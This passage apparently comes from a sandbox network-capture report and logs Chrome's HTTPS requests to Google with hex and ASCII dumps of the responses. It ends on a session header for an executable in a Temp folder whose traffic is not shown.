17	192.168.2.6	49978	142.250.181.132	443	4920	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 15:10:55 UTC	595	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEI3L3NAQi5ys0BCOnSzQEI6NXNAQjL1s0BCKjYzQEI+cDUFRi60s0BGOuNpRc= Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-19 15:10:55 UTC	1266	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 15:10:55 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-1I-kPIq3SVue_SmOSsvwxg' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-12-19 15:10:55 UTC	124	IN	Data Raw: 61 33 30 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 66 72 65 64 20 6c 6f 72 65 6e 7a 65 6e 20 6e 61 73 63 61 72 22 2c 22 6e 69 6e 74 65 6e 64 6f 20 73 77 69 74 63 68 20 67 61 6d 65 73 22 2c 22 73 6f 6e 69 63 20 74 68 65 20 68 65 64 67 65 68 6f 67 20 33 20 6d 6f 76 69 65 20 72 65 76 69 65 77 22 2c 22 6a 65 72 6f 6d 65 20 70 6f 77 65 6c 6c 20 62 69 74 63 6f 69 6e 22 2c 22 6e Data Ascii: a30)]}'["",["fred lorenzen nascar","nintendo switch games","sonic the hedgehog 3 movie review","jerome powell bitcoin","n
2024-12-19 15:10:55 UTC	1390	IN	Data Raw: 61 73 61 20 61 73 74 72 6f 6e 61 75 74 73 20 73 74 75 63 6b 20 69 6e 20 73 70 61 63 65 22 2c 22 67 72 61 79 73 6f 6e 20 67 65 6f 72 67 69 61 20 68 69 67 68 20 73 63 68 6f 6f 6c 20 66 6f 6f 74 62 61 6c 6c 22 2c 22 6e 79 74 20 63 6f 6e 6e 65 63 74 69 6f 6e 73 20 68 69 6e 74 73 20 64 65 63 65 6d 62 65 72 20 31 39 22 2c 22 74 61 63 6f 20 62 65 6c 6c 20 63 72 69 73 70 79 20 63 68 69 63 6b 65 6e 20 6e 75 67 67 65 74 73 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 61 6c 73 65 2c 22 74 6c 77 22 3a 66 61 6c 73 65 7d 2c 22 67 6f 6f 67 6c 65 3a 67 72 6f 75 70 73 69 6e 66 6f 22 3a 22 43 68 67 49 6b 6b 34 53 45 77 6f 52 56 48 4a 6c Data Ascii: asa astronauts stuck in space","grayson georgia high school football","nyt connections hints december 19","taco bell crispy chicken nuggets"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJl
2024-12-19 15:10:55 UTC	1101	IN	Data Raw: 68 31 61 48 42 33 4d 6d 70 57 56 30 4d 32 5a 57 35 46 51 56 42 77 59 7a 51 32 54 31 56 44 62 30 6c 4b 56 32 78 30 54 47 6c 54 54 32 46 47 57 48 68 71 4e 48 70 73 57 47 78 44 65 6a 42 73 52 44 51 32 54 33 4e 76 4c 31 6c 45 52 6e 6c 49 62 6d 56 68 4d 57 52 54 4e 47 70 48 63 48 5a 6a 63 57 70 73 56 46 4a 30 4d 6c 68 7a 5a 44 6b 34 51 55 68 6b 5a 33 52 30 62 46 59 77 64 55 4a 54 59 6b 4e 35 61 6e 52 6d 62 32 5a 45 52 47 5a 72 61 55 38 78 55 54 5a 69 54 33 70 6d 54 31 46 47 51 31 42 6b 62 57 35 77 56 55 34 7a 53 44 46 44 65 46 5a 69 64 55 4a 51 63 57 39 6b 62 55 49 33 4f 46 55 31 5a 33 70 4e 62 55 5a 55 52 54 4e 45 65 6a 4e 45 57 55 74 30 4e 30 6f 33 56 6b 68 79 63 30 4e 6d 51 56 6c 51 57 6e 46 59 52 57 74 55 52 56 56 70 52 45 78 71 63 7a 42 35 5a 30 35 6f 51 Data Ascii: h1aHB3MmpWV0M2ZW5FQVBwYzQ2T1VDb0lKV2x0TGlTT2FGWHhqNHpsWGxDejBsRDQ2T3NvL1lERnlIbmVhMWRTNGpHcHZjcWpsVFJ0MlhzZDk4QUhkZ3R0bFYwdUJTYkN5anRmb2ZERGZraU8xUTZiT3pmT1FGQ1BkbW5wVU4zSDFDeFZidUJQcW9kbUI3OFU1Z3pNbUZURTNEejNEWUt0N0o3Vkhyc0NmQVlQWnFYRWtURVVpRExqczB5Z05oQ
2024-12-19 15:10:55 UTC	95	IN	Data Raw: 35 39 0d 0a 7a 52 42 5a 43 39 49 63 30 64 4f 61 6c 6c 35 62 47 77 35 62 45 74 33 53 31 42 44 53 6c 68 69 56 56 5a 4e 63 46 56 55 57 54 4e 49 55 48 5a 33 57 45 4e 46 53 56 46 46 53 6c 52 61 53 31 4a 5a 53 6c 52 30 59 6e 64 30 5a 30 31 33 62 79 74 53 53 32 78 42 61 47 46 47 55 55 0d 0a Data Ascii: 59zRBZC9Ic0dOall5bGw5bEt3S1BDSlhiVVZNcFVUWTNIUHZ3WENFSVFFSlRaS1JZSlR0Ynd0Z013bytSS2xBaGFGUU
2024-12-19 15:10:55 UTC	1221	IN	Data Raw: 34 62 65 0d 0a 6c 68 62 6b 39 61 4d 31 51 32 59 33 4e 43 4f 44 46 53 63 46 52 4f 53 57 35 53 4e 55 56 42 54 55 74 52 4d 58 4a 4a 54 32 30 30 51 31 52 78 64 55 78 6c 52 30 35 56 63 58 52 59 61 44 41 35 61 44 45 34 4d 6d 5a 6c 57 6b 64 35 52 58 46 31 55 56 4e 52 54 46 67 33 54 6e 6c 4e 53 33 56 69 62 48 4a 78 52 48 4a 56 54 31 68 61 51 30 70 4c 62 45 31 4f 64 6d 4a 68 59 6b 5a 43 53 32 64 43 5a 54 56 7a 51 6d 4d 35 54 33 56 42 65 6b 4a 6a 54 6a 5a 73 55 7a 4a 4c 61 45 64 74 63 6d 4a 72 55 46 4a 56 64 6d 68 52 64 48 45 72 53 6b 6b 78 63 45 59 72 57 6e 4e 52 55 6a 45 7a 4e 6c 68 33 4b 31 70 4a 5a 57 68 4d 63 6b 74 55 56 46 4a 4f 62 45 6c 54 4d 32 52 56 61 46 4e 45 64 33 64 74 4e 45 64 72 5a 58 51 72 4d 6a 6c 32 55 69 74 5a 65 54 6c 53 4d 6c 5a 4e 63 6c 4a 55 Data Ascii: 4belhbk9aM1Q2Y3NCODFScFROSW5SNUVBTUtRMXJJT200Q1RxdUxlR05VcXRYaDA5aDE4MmZlWkd5RXF1UVNRTFg3TnlNS3VibHJxRHJVT1haQ0pLbE1OdmJhYkZCS2dCZTVzQmM5T3VBekJjTjZsUzJLaEdtcmJrUFJVdmhRdHErSkkxcEYrWnNRUjEzNlh3K1pJZWhMcktUVFJObElTM2RVaFNEd3dtNEdrZXQrMjl2UitZeTlSMlZNclJU
2024-12-19 15:10:55 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.6	49981	142.250.181.132	443	4920	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 15:10:55 UTC	353	OUT	GET /async/ddljson?async=ntp:2 HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.6	49980	142.250.181.132	443	4920	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 15:10:55 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-19 15:10:55 UTC	933	IN	HTTP/1.1 200 OK Version: 705503573 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Thu, 19 Dec 2024 15:10:55 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-12-19 15:10:55 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2024-12-19 15:10:55 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.6	49979	142.250.181.132	443	4920	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 15:10:55 UTC	498	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEI3L3NAQi5ys0BCOnSzQEI6NXNAQjL1s0BCKjYzQEI+cDUFRi60s0BGOuNpRc= Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-19 15:10:55 UTC	1018	IN	HTTP/1.1 200 OK Version: 705503573 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Thu, 19 Dec 2024 15:10:55 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-12-19 15:10:55 UTC	372	IN	Data Raw: 31 33 39 33 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 32 64 20 67 62 5f 51 65 20 67 62 5f 71 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 1393)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
2024-12-19 15:10:55 UTC	1390	IN	Data Raw: 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 72 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 63 20 67 62 5f 51 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 76 67 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 76 69 65 77 62 6f 78 5c 75 30 30 33 64 5c 22 30 20 30 20 32 34 20 32 34 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 Data Ascii: class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u0
2024-12-19 15:10:55 UTC	1390	IN	Data Raw: 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 38 63 20 67 62 5f 39 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 75 64 5c 22 20 61 72 69 61 2d 6c 65 76 65 6c 5c 75 30 30 33 64 5c 22 31 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 68 65 61 64 69 6e 67 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 61 64 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 Data Ascii: 003cdiv class\u003d\"gb_wd gb_8c gb_9c\"\u003e\u003cspan class\u003d\"gb_ud\" aria-level\u003d\"1\" role\u003d\"heading\"\u003e \u003c\/span\u003e\u003cdiv class\u003d\"gb_ad\"\u003e \u003c\/div\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d
2024-12-19 15:10:55 UTC	1390	IN	Data Raw: 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 44 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 2d 39 36 30 20 39 36 30 20 39 36 30 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 33 64 5c 22 4d 32 30 39 2d 31 32 30 71 2d 34 32 20 30 2d 37 30 2e 35 2d 32 38 2e 35 54 31 31 30 2d 32 31 37 71 30 2d 31 34 20 33 2d 32 35 2e 35 74 39 2d 32 31 2e 35 6c 32 32 38 2d 33 34 31 71 31 30 2d 31 34 20 31 35 2d 33 31 74 35 2d 33 34 76 2d 31 31 30 68 2d 32 30 71 2d 31 33 20 30 2d 32 31 2e 35 2d 38 2e 35 54 33 32 30 2d 38 31 30 71 30 2d 31 33 20 Data Ascii: ss\u003d\"gb_D\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0 -960 960 960\" width\u003d\"24px\"\u003e \u003cpath d\u003d\"M209-120q-42 0-70.5-28.5T110-217q0-14 3-25.5t9-21.5l228-341q10-14 15-31t5-34v-110h-20q-13 0-21.5-8.5T320-810q0-13
2024-12-19 15:10:55 UTC	477	IN	Data Raw: 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 36 2c 36 63 30 2c 31 2e 31 20 30 2e 39 2c 32 20 32 2c 32 73 32 2c 2d 30 2e 39 20 32 2c 2d 32 20 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 7a 4d 31 32 2c 38 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 32 30 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c Data Ascii: 1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM16,6c0,1.1 0.9,2 2,2s2,-0.9 2,-2 -0.9,-2 -2,-2 -2,0.9 -2,2zM12,8c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,20c1.1,0 2,-0.9 2,
2024-12-19 15:10:55 UTC	948	IN	Data Raw: 33 61 64 0d 0a 6c 61 79 3a 6e 6f 6e 65 20 5c 5c 39 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 69 6d 61 67 65 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 73 76 67 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 61 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 61 20 67 62 5f 6f 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 68 65 61 64 65 72 5c 75 30 30 33 Data Ascii: 3adlay:none \\9\"\u003e\u003c\/image\u003e\u003c\/svg\u003e\u003c\/a\u003e\u003c\/div\u003e\u003c\/div\u003e\u003c\/div\u003e\u003c\/div\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_a gb_od\"\u003e\u003c\/div\u003e\u003c\/header\u003
2024-12-19 15:10:55 UTC	1390	IN	Data Raw: 38 30 30 30 0d 0a 62 61 72 5f 68 65 69 67 68 74 22 3a 36 30 2c 22 65 78 70 65 72 69 6d 65 6e 74 5f 69 64 22 3a 5b 33 37 30 30 32 37 33 2c 33 37 30 30 39 34 39 2c 33 37 30 31 30 37 31 2c 33 37 30 31 33 38 34 2c 31 30 32 32 37 38 32 30 35 5d 2c 22 69 73 5f 62 61 63 6b 75 70 5f 62 61 72 22 3a 66 61 6c 73 65 7d 2c 22 70 61 67 65 5f 68 6f 6f 6b 73 22 3a 7b 22 61 66 74 65 72 5f 62 61 72 5f 73 63 72 69 70 74 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 73 63 72 69 70 74 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 74 68 69 73 2e 67 62 61 72 5f 5c 75 30 30 33 64 74 68 69 73 2e 67 62 61 72 5f 7c 7c 7b 7d 3b 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 5c 75 30 30 Data Ascii: 8000bar_height":60,"experiment_id":[3700273,3700949,3701071,3701384,102278205],"is_backup_bar":false},"page_hooks":{"after_bar_script":{"private_do_not_access_or_else_safe_script_wrapped_value":"this.gbar_\u003dthis.gbar_\|\|{};(function(_){var window\u00
2024-12-19 15:10:55 UTC	1390	IN	Data Raw: 79 28 62 29 3b 66 6f 72 28 6c 65 74 20 64 5c 75 30 30 33 64 30 3b 64 5c 75 30 30 33 63 62 3b 64 2b 2b 29 63 5b 64 5d 5c 75 30 30 33 64 61 5b 64 5d 3b 72 65 74 75 72 6e 20 63 7d 72 65 74 75 72 6e 5b 5d 7d 3b 47 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 5f 2e 46 64 28 62 5c 75 30 30 33 64 5c 75 30 30 33 65 62 2e 73 75 62 73 74 72 28 30 2c 61 2e 6c 65 6e 67 74 68 2b 31 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 61 2b 5c 22 3a 5c 22 29 7d 3b 5f 2e 48 64 5c 75 30 30 33 64 67 6c 6f 62 61 6c 54 68 69 73 2e 74 72 75 73 74 65 64 54 79 70 65 73 3b 5f 2e 49 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 69 5c 75 Data Ascii: y(b);for(let d\u003d0;d\u003cb;d++)c[d]\u003da[d];return c}return[]};Gd\u003dfunction(a){return new _.Fd(b\u003d\u003eb.substr(0,a.length+1).toLowerCase()\u003d\u003d\u003da+\":\")};_.Hd\u003dglobalThis.trustedTypes;_.Id\u003dclass{constructor(a){this.i\u
2024-12-19 15:10:55 UTC	1390	IN	Data Raw: 20 45 72 72 6f 72 28 5c 22 46 5c 22 29 3b 7d 3b 5f 2e 58 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 57 64 2e 74 65 73 74 28 61 29 29 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 59 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 49 64 29 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 49 64 29 61 5c 75 30 30 33 64 61 2e 69 3b 65 6c 73 65 20 74 68 72 6f 77 20 45 72 72 6f 72 28 5c 22 46 5c 22 29 3b 65 6c 73 65 20 61 5c 75 30 30 33 64 5f 2e 58 64 28 61 29 3b 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 5a 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 5c 75 30 30 33 64 64 6f 63 75 6d 65 6e 74 29 7b 6c 65 74 20 63 2c 64 3b 62 5c 75 30 30 33 64 28 64 5c 75 30 30 33 64 28 63 5c Data Ascii: Error(\"F\");};_.Xd\u003dfunction(a){if(Wd.test(a))return a};_.Yd\u003dfunction(a){if(a instanceof _.Id)if(a instanceof _.Id)a\u003da.i;else throw Error(\"F\");else a\u003d_.Xd(a);return a};_.Zd\u003dfunction(a,b\u003ddocument){let c,d;b\u003d(d\u003d(c\
2024-12-19 15:10:55 UTC	1390	IN	Data Raw: 72 79 53 65 6c 65 63 74 6f 72 28 61 3f 5c 22 2e 5c 22 2b 61 3a 5c 22 5c 22 29 3a 28 62 5c 75 30 30 33 64 62 7c 7c 63 2c 61 5c 75 30 30 33 64 28 61 3f 62 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 61 3f 5c 22 2e 5c 22 2b 61 3a 5c 22 5c 22 29 3a 62 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 5c 22 2a 5c 22 29 29 5b 30 5d 7c 7c 6e 75 6c 6c 29 29 3b 72 65 74 75 72 6e 20 61 7c 7c 6e 75 6c 6c 7d 3b 5c 6e 5f 2e 6b 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 5f 2e 79 62 28 62 2c 66 75 6e 63 74 69 6f 6e 28 63 2c 64 29 7b 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 73 74 79 6c 65 5c 22 3f 61 2e 73 74 79 6c 65 2e 63 73 73 54 65 78 74 5c 75 30 30 33 64 63 3a 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 63 6c 61 73 Data Ascii: rySelector(a?\".\"+a:\"\"):(b\u003db\|\|c,a\u003d(a?b.querySelectorAll(a?\".\"+a:\"\"):b.getElementsByTagName(\"*\"))[0]\|\|null));return a\|\|null};\n_.ke\u003dfunction(a,b){_.yb(b,function(c,d){d\u003d\u003d\"style\"?a.style.cssText\u003dc:d\u003d\u003d\"clas

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.6	49984	172.67.177.88	443	6696	C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe

Timestamp	Bytes transferred	Direction	Data
